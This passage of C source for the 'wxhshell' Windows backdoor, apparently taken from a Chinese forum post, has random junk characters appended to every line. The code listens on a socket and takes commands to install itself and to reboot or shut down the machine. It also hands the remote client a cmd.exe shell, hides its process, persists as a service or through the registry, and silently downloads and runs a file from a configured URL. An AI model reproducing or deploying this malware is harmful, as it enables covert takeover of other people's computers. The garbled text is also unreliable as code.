    switch(cmd[0]) { bDxPgb7N=  
  1 OuSH+  
  // 帮助 +SP! R[a  
  case '?': { rjfc.l#v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :h3#1fko  
    break; !$g(&  
  } avF&F  
  // 安装 f:)]FHPB1  
  case 'i': { QSO5 z2|  
    if(Install()) 0;. e#(`-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&r+w!  
    else CR} >  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u0<d2Y  
    break; 3 ATN?V@  
    } #u!y`lek  
  // 卸载 @Z"QA!OK~c  
  case 'r': { w;yar=n  
    if(Uninstall()) :/n ?4K^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0tn7Rkiw  
    else A0'tCq]?0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lqy|DJ%  
    break; gEX:S(1 QP  
    } qdg= Imx  
  // 显示 wxhshell 所在路径 bvt-leA=  
  case 'p': { VKl~oFKXJ  
    char svExeFile[MAX_PATH]; H J2O@e  
    strcpy(svExeFile,"\n\r"); h5h-}qBA  
      strcat(svExeFile,ExeFile); 1"87EP   
        send(wsh,svExeFile,strlen(svExeFile),0); _Eet2;9  
    break; C`=`Ce~|d  
    } B' <O)"1w  
  // 重启 c~Q`{2%+  
  case 'b': { #l8K8GLuf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;tZ}i4Ud  
    if(Boot(REBOOT)) C={sE*&dYX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^v()iF !  
    else { \J#I}-a&j  
    closesocket(wsh); ^/4 {\3  
    ExitThread(0); ?,A8  fR  
    } n=<q3}1Jej  
    break; ,58kjTM  
    } 'dd<<E  
  // 关机 &k {t0>  
  case 'd': { 5k!(#@a_T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4kN:=g  
    if(Boot(SHUTDOWN)) = m!!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pJ<)intcbE  
    else { KV3+}k  
    closesocket(wsh); GLoL4el  
    ExitThread(0); lB YS>4~  
    } {RWahnr{  
    break; hU=f?jo/  
    } ]7Xs=>"Iw  
  // 获取shell EV;;N  
  case 's': { @)FXG~C*  
    CmdShell(wsh);  @=^jpSnZ  
    closesocket(wsh); vCrWA-q#  
    ExitThread(0); vM$#m1L?  
    break; LQuYCfj|  
  } o>!~*b';g,  
  // 退出 9 ;! uV>-H  
  case 'x': { ** "s~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \n('KVbf  
    CloseIt(wsh); M\x7=*\  
    break; lVO(9sl*i  
    } G+%5V5GS  
  // 离开 FZLzu  
  case 'q': { xfZ9&g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'SXpb?CZ  
    closesocket(wsh); "1\RdTw  
    WSACleanup(); /-cX(z 7  
    exit(1); A*?/F:E  
    break; u+"hr"}${  
        } 8wNU2yH+D  
  } bC>yIjCTn  
  } ~S~x@&yR  
ESXU, qK]v  
  // 提示信息 ui:>eYv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ff2.| 20  
} kgib$t_7  
  } aF_ZV bS  
y0Q/B|&[  
  return; #gr+%=S'6C  
} x#!{5;V&K  
:D)&>{?  
// shell模块句柄 tue%L]hc  
int CmdShell(SOCKET sock) bU@>1>b6lE  
{ 1+y6W1m^R  
STARTUPINFO si; &Cn9 k3E\R  
ZeroMemory(&si,sizeof(si)); )y [[Se  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m0q`A5!)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W.7d{ @n  
PROCESS_INFORMATION ProcessInfo; TPmZ/c^  
char cmdline[]="cmd"; ~N+/ZVo&y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XzTH,7[n  
  return 0; =.3P)gY)  
} V-o`L`(F`  
-^NAHE$bW  
// 自身启动模式 wr6xuoH  
int StartFromService(void) e#Zf>hlAz  
{ y*TNJJ|  
typedef struct Z!BQtICs  
{ k kuQ"^<J  
  DWORD ExitStatus; r5$?4t  
  DWORD PebBaseAddress; /A`zy  
  DWORD AffinityMask; QK/+*hr;  
  DWORD BasePriority; #+5mpDh  
  ULONG UniqueProcessId; APOU&Wd  
  ULONG InheritedFromUniqueProcessId; *p<5(-J3  
}   PROCESS_BASIC_INFORMATION; ($ 1<Dj:  
Z[A|SyZp  
PROCNTQSIP NtQueryInformationProcess; M#gGD-  
`E1_S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "Z1&z-   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >ehWjL`8  
}sN9QgE  
  HANDLE             hProcess; 0jx~_zq-j  
  PROCESS_BASIC_INFORMATION pbi; fgz'C?  
uvc{RP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <38@b ]+  
  if(NULL == hInst ) return 0; 7ump:|  
#j ~FA3O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jH#^O ;A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NX #/1=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9G\3hL]  
>[3,qP]E  
  if (!NtQueryInformationProcess) return 0; 88L bO(q\d  
OgpH{"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zk_hDhg&'  
  if(!hProcess) return 0; 9/qS*Zdh)  
uL{~(?U$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?@ye*%w_  
1RO gUJ;  
  CloseHandle(hProcess); 1VM5W!}  
NCh(-E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XIW: Nk!S  
if(hProcess==NULL) return 0; &+|4(d1  
b5,}w:  
HMODULE hMod; y5tAp  
char procName[255]; FZI 4?YD?<  
unsigned long cbNeeded; S5JR`o  
ReGb .pf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /8-VC"  
Ac(Vw%  
  CloseHandle(hProcess); 4I[FE;^  
E3C[o! 5  
if(strstr(procName,"services")) return 1; // 以服务启动 ~m=%a  
}u*@b10   
  return 0; // 注册表启动 YD>>YaH_3@  
} zbKW.u]v  
(6y3"cbe  
// 主模块 Y8xnvK*  
int StartWxhshell(LPSTR lpCmdLine) r{3 `zqo  
{ Xv(9 Yh S  
  SOCKET wsl; X!+ a;wr  
BOOL val=TRUE; ,$(v#Tz  
  int port=0; T1]X   
  struct sockaddr_in door; CoN/L`.SN  
z7}zf@Y-qv  
  if(wscfg.ws_autoins) Install(); >Ezwl5b  
Xr6 !b:UX  
port=atoi(lpCmdLine); U[ungvU1U  
?cxK~Y\  
if(port<=0) port=wscfg.ws_port; 1X}Tp\e  
a9_KQ=&CI  
  WSADATA data; JBJ7k19;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]O ` [v  
<UL|%9=~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J7] 60H#P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #.t{g8W\C  
  door.sin_family = AF_INET; Y,"MQFr(o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *U^hwL  
  door.sin_port = htons(port); *M<=K.*\G  
]<?)(xz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1KR|i"  
closesocket(wsl); *^5,7}9Qo  
return 1; xa*gQ%+F  
} ^W05Z!}  
ASU\O3%%  
  if(listen(wsl,2) == INVALID_SOCKET) { `GWq3c5  
closesocket(wsl); >^ar$T;Ys  
return 1; R}26"+~  
} -Dm.z16  
  Wxhshell(wsl); D;n%sRq(Z  
  WSACleanup(); 1iW9?=a"  
>Ga1p'8FtU  
return 0; ymCIk /\  
~ J{{n_G{  
} H?^#zj`Ex+  
V-r<v1}M  
// 以NT服务方式启动 J0! E@   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6EWB3.x19  
{ {EN@,3bA  
DWORD   status = 0; 0>MI*fnY"  
  DWORD   specificError = 0xfffffff; N6 8>`  
j}*+-.YF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JB_`lefW,'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @h,$&=HY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~8{3Fc0  
  serviceStatus.dwWin32ExitCode     = 0; bD-Em#>  
  serviceStatus.dwServiceSpecificExitCode = 0; <\EfG:e  
  serviceStatus.dwCheckPoint       = 0; GLF"`M/g  
  serviceStatus.dwWaitHint       = 0; <%7 V`,*g/  
itgO#(g$Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sZDJ+  
  if (hServiceStatusHandle==0) return; .u?$h0u5  
Y/(-mcR  
status = GetLastError(); e;[8 GE.   
  if (status!=NO_ERROR) ,LO-!\L  
{ B9-[wg#0G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mcG$V0D <{  
    serviceStatus.dwCheckPoint       = 0; ]*U')  
    serviceStatus.dwWaitHint       = 0; r,KK%B  
    serviceStatus.dwWin32ExitCode     = status; -y.AJ~T  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~{Bi{aK2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [![ (h %  
    return; A\.*+k/B  
  } wO%:WL$5  
_If?&KJ r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vatt9  
  serviceStatus.dwCheckPoint       = 0; ,O!aRvzap  
  serviceStatus.dwWaitHint       = 0; Z$XpoDbOy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LS$82UB&  
} h'KtG<+  
.U%"oD  
// 处理NT服务事件,比如:启动、停止 rv%[?Ml  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2f4c;YS  
{ lHqx}n@e  
switch(fdwControl) 74(J7  
{ 1iDo$]TEK  
case SERVICE_CONTROL_STOP: Af<>O$$6  
  serviceStatus.dwWin32ExitCode = 0; W10fjMC}^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /D+$|k mW]  
  serviceStatus.dwCheckPoint   = 0; fC|u  
  serviceStatus.dwWaitHint     = 0; ;P~S/j[ 8  
  { Q>yt O'v1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Tv(1HAc2l  
  } 9#6/c  
  return; MT0{hsuK9  
case SERVICE_CONTROL_PAUSE: R*m" '|U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IBh~(6  
  break; R!G7;m'N1  
case SERVICE_CONTROL_CONTINUE: Yk?q7xuT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D.`\ ^a  
  break; <DS6-y  
case SERVICE_CONTROL_INTERROGATE: N2e<Y_T  
  break; ]SgeZ07  
}; >6+K"J-@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8l0 (6x$  
} "M &4c:cz  
o hlVc%a  
// 标准应用程序主函数 I|z#Aoc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  0 XzO`*  
{ -~f.>@Wb  
Y cpO;md  
// 获取操作系统版本 7bS[\5  
OsIsNt=GetOsVer(); pnJT]?},  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qTF>!o #\:  
3PffQ,c[~  
  // 从命令行安装 Z+(V \  
  if(strpbrk(lpCmdLine,"iI")) Install(); xltu g##  
x~eEaD5m%J  
  // 下载执行文件 $uhDBmb  
if(wscfg.ws_downexe) { zK?[dO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eS:e#>(  
  WinExec(wscfg.ws_filenam,SW_HIDE); d2sq]Q  
} I1O?)x~  
/vu!5?S  
if(!OsIsNt) { RiG!TTa b  
// 如果时win9x,隐藏进程并且设置为注册表启动 p]=;t"  
HideProc(); w}q"y+=Z:  
StartWxhshell(lpCmdLine); =:eE!  
} z?[DW*  
else k)Wz b  
  if(StartFromService()) zX`RN )C  
  // 以服务方式启动 F9w&!yW:  
  StartServiceCtrlDispatcher(DispatchTable); f34&:xz2U  
else G|_aU8b|t  
  // 普通方式启动 G.TX1  
  StartWxhshell(lpCmdLine); f4}6$>)  
&y\2:IyA  
return 0; #" -^;Z  
}
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只看该作者 1 发表于: 2006-10-10
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